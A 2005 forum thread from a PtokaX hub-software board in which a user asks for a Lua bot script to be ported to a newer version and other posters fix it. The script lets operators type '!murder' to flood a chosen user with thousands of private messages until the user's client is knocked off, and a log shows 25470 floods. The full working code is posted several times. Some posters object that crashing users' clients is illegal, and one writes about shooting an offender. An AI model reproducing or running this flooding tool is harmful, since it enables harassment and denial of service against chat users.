Flood script
 

News:

29 December 2022 - PtokaX 0.5.3.0 (20th anniversary edition) released...
11 April 2017 - PtokaX 0.5.2.2 released...
8 April 2015 Anti child and anti pedo pr0n scripts are not allowed anymore on this board!
28 September 2015 - PtokaX 0.5.2.1 for Windows 10 IoT released...
3 September 2015 - PtokaX 0.5.2.1 released...
16 August 2015 - PtokaX 0.5.2.0 released...
1 August 2015 - Crowdfunding for ADC protocol support in PtokaX ended. Clearly nobody want ADC support...
30 June 2015 - PtokaX 0.5.1.0 released...
30 April 2015 Crowdfunding for ADC protocol support in PtokaX
26 April 2015 New support hub!
20 February 2015 - PtokaX 0.5.0.3 released...
13 April 2014 - PtokaX 0.5.0.2 released...
23 March 2014 - PtokaX testing version 0.5.0.1 build 454 is available.
04 March 2014 - PtokaX.org sites were temporary down because of DDOS attacks and issues with hosting service provider.

Main Menu

Flood script

Started by QuikThinker, 11 March, 2005, 12:26:58

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

QuikThinker

I use this script to flood idiot users, could sum1 convert please, I'm nearly all done ready to go!  :D
sBotName = "?PHH?";

sFloodUser = nil;
iFloodCount = 10;

sToFloodUser = nil;

function Main()
	frmHub:RegBot(sBotName);
	SetTimer(10);
end

function OnTimer()
	for i = 2, 20, 1 do
		iFloodCount = iFloodCount + 2;
		SendToNick(sFloodUser, "$Hello Flooder"..iFloodCount..sToFloodUser..iFloodCount.." $ ")
	end

	if(GetItemByName(sFloodUser) == nil) then
		StopTimer();
		SendToAll(sBotName, sFloodUser.." was flooded "..iFloodCount.." times & then got kicked the fuck outta PHH.");
		iFloodCount = 0;
		sFloodUser,sToFloodUser = nil,nil;
	end
end

function DataArrival(curUser, sData)
	local s, e, cmd, user = strfind(sData, "%b<> (%S+) (%S+)%|$");

	if(cmd == nil or curUser.bOperator == nil) then return 0; end

	cmd = strlower(cmd);

	if(cmd == "!murder" and GetItemByName(user)) then
		sFloodUser = user;
		sToFloodUser = "|$To: "..sFloodUser.." From: Flooder";
		SendToAll(sBotName, "?Q??KPR?T?KT? Is NoW MuRdErInG "..user..". TaKe A BrEaThEr.");
		StartTimer();
	end
end

Thanx in advance!

Madman

only took a quick look.. but

change this
function [color=red]DataArrival[/color](curUser, sData)
	local s, e, cmd, user = [color=red]strfind[/color](sData, "%b<> (%S+) (%S+)%|$");
to this...
function [color=red]ChatArrival[/color](curUser, sData)
	local s, e, cmd, user =  [color=red]string.find[/color](sData, "%b<> (%S+) (%S+)%|$");
The red text are thoose u need to change...
it should work then...
We suffer in silence, we lurk in the shadows, we kill in the night
Site currently down, ETA of returning online is 2099 ;p

QuikThinker

#2
I got this error man:
Syntax C:\PHH-NEW\scripts\y_KillBot.lua:32: attempt to call global `strlower' (a nil value)

When I run the command I mean :)

Madman

oops... missed one...
strlower is string.lower in lua5..

function [color=red]ChatArrival[/color](curUser, sData)
	local s, e, cmd, user = [color=red]string.find[/color](sData, "%b<> (%S+) (%S+)%|$");

	if(cmd == nil or curUser.bOperator == nil) then return 0; end

	cmd = [color=red]string.lower[/color](cmd);

easy to fix =)
We suffer in silence, we lurk in the shadows, we kill in the night
Site currently down, ETA of returning online is 2099 ;p

6Marilyn6Manson6

QuoteOriginally posted by QuikThinker
I got this error man:
Syntax C:\PHH-NEW\scripts\y_KillBot.lua:32: attempt to call global `strlower' (a nil value)

When I run the command I mean :)


Change:
cmd = strlower(cmd);

to:

cmd = string.lower(cmd);

Psycho_Chihuahua

works fine now

sBotName = "?PHH?";

sFloodUser = nil;
iFloodCount = 10;

sToFloodUser = nil;

function Main()
	frmHub:RegBot(sBotName);
	SetTimer(10);
end

function OnTimer()
	for i = 2, 20, 1 do
		iFloodCount = iFloodCount + 2;
		SendToNick(sFloodUser, "$Hello Flooder"..iFloodCount..sToFloodUser..iFloodCount.." $ ")
	end

	if(GetItemByName(sFloodUser) == nil) then
		StopTimer();
		SendToAll(sBotName, sFloodUser.." was flooded "..iFloodCount.." times & then got kicked the fuck outta PHH.");
		iFloodCount = 0;
		sFloodUser,sToFloodUser = nil,nil;
	end
end

function ChatArrival(curUser, sData)
	local s, e, cmd, user = string.find(sData, "%b<> (%S+) (%S+)%|$");

	if(cmd == nil or curUser.bOperator == nil) then return 0; end

	cmd = string.lower(cmd);

	if(cmd == "!murder" and GetItemByName(user)) then
		sFloodUser = user;
		sToFloodUser = "|$To: "..sFloodUser.." From: Flooder";
		SendToAll(sBotName, "?Q??KPR?T?KT? Is NoW MuRdErInG "..user..". TaKe A BrEaThEr.");
		StartTimer();
	end
end

Result:
[14:36]  ?Q??KPR?T?KT? Is NoW MuRdErInG the_designated. TaKe A BrEaThEr. 
[14:36]  !murder the_designated 
[14:37]  the_designated was flooded 25470 times & then got kicked the fuck outta PHH.
PtokaxWiki ?PtokaX Mirror + latest Libs

01100001011011000111001101101111001000000110101101101110011011110111011101101110001000000110000101110011001000000101010001101111011010110110111101101100011011110111001101101000

QuikThinker

Thanx a lot guys, jus need ma Gagger script sorted n I'm done!  :D

6Marilyn6Manson6

QuoteOriginally posted by Psycho_Chihuahua
works fine now

sBotName = "?PHH?";

sFloodUser = nil;
iFloodCount = 10;

sToFloodUser = nil;

function Main()
	frmHub:RegBot(sBotName);
	SetTimer(10);
end

function OnTimer()
	for i = 2, 20, 1 do
		iFloodCount = iFloodCount + 2;
		SendToNick(sFloodUser, "$Hello Flooder"..iFloodCount..sToFloodUser..iFloodCount.." $ ")
	end

	if(GetItemByName(sFloodUser) == nil) then
		StopTimer();
		SendToAll(sBotName, sFloodUser.." was flooded "..iFloodCount.." times & then got kicked the fuck outta PHH.");
		iFloodCount = 0;
		sFloodUser,sToFloodUser = nil,nil;
	end
end

function ChatArrival(curUser, sData)
	local s, e, cmd, user = string.find(sData, "%b<> (%S+) (%S+)%|$");

	if(cmd == nil or curUser.bOperator == nil) then return 0; end

	cmd = string.lower(cmd);

	if(cmd == "!murder" and GetItemByName(user)) then
		sFloodUser = user;
		sToFloodUser = "|$To: "..sFloodUser.." From: Flooder";
		SendToAll(sBotName, "?Q??KPR?T?KT? Is NoW MuRdErInG "..user..". TaKe A BrEaThEr.");
		StartTimer();
	end
end

Result:
[14:36]  ?Q??KPR?T?KT? Is NoW MuRdErInG the_designated. TaKe A BrEaThEr. 
[14:36]  !murder the_designated 
[14:37]  the_designated was flooded 25470 times & then got kicked the fuck outta PHH.


Eheheheh psycho... not difficulty change my correction in script of Quickthink correct madman :P

QuikThinker

Jus found a problem, I went in as NetFounder which is my profile and tried murderin myself as an OP on another client and found to my peril that it's possible  8o

So I'm gonna need an adjustment so basically NetFounder can murder any1, Masters can do every1 below & equal to masters, Mods every1 and equal to Mods etc... down to OP.
Cany any1 help?

Pothead

This script was originally made my Phatty. He removed it from the forum because people were abusing it.  I think we should respect his decision, and remove this topic.  :)

QuikThinker

No disrespect but shouldn't it be at the hubowner's discrection what scripts they use? Let's be honest if a particular hub was abusing this script it wouldn't have many users  ?(

plop

QuoteOriginally posted by QuikThinker
No disrespect but shouldn't it be at the hubowner's discrection what scripts they use? Let's be honest if a particular hub was abusing this script it wouldn't have many users  ?(
the hub owner never has the right 2 crash the client of any user, this is called hacking and is highly illegal.
in other words the user isn't stupid, it's the hubowner/ops who are using it.
beside your wasting valuable upload bw.
ban the user if you wanna get rid of him.

plop
http://www.plop.nl lua scripts/howto\'s.
http://www.thegoldenangel.net
http://www.vikingshub.com
http://www.lua.org

>>----> he who fights hatred with hatred, drives the spreading of hatred <----<<

Cid

i dont mind doing an illegal act against a kidpornsharer. if i could i would put a bullet in his head...

??????Hawk??????

if your going to do this kind of thing to users  DONT come moaning here whan someone takes your hub down by doing the same back..

Dont Give out What you dont want returned..


??????Hawk??????

plop

QuoteOriginally posted by Cid
i dont mind doing an illegal act against a kidpornsharer. if i could i would put a bullet in his head...
what about doing something legal like reporting his ip to his isp or some organisation which is handling these things.
that way you can make him suffer.

plop
http://www.plop.nl lua scripts/howto\'s.
http://www.thegoldenangel.net
http://www.vikingshub.com
http://www.lua.org

>>----> he who fights hatred with hatred, drives the spreading of hatred <----<<

UwV

this post might be "going somewhere" in the end ..  ;0)
(no disrespect but i think the same script should be deleted)..
 

Quoteaa
what about doing something legal like reporting his ip to his isp or some organisation which is handling these things.
that way you can make him suffer.

plop

yse plop what about ,,
a script to do that for us ..

 !reportpervert

and it would automaticly send an email to the users provider & "the proper authority's",..  
   and next? it would make us  coffee .. ;)

"proper authority's would proof to be more difficult .. unless we find a world wide list of "perv-squad-emailadresses" or maybe there is some international oranisation with a e-mail address ?..
\NL   The knowledge and skills you have achieved are meant to be forgotten so you can float comfortably in emptiness, without obstruction.
" Holly loves me,...  . "      ;o)

& don't forget, the motto is :
  -- SUPPORT YOUR LOCAL DJ'S --

SMF spam blocked by CleanTalk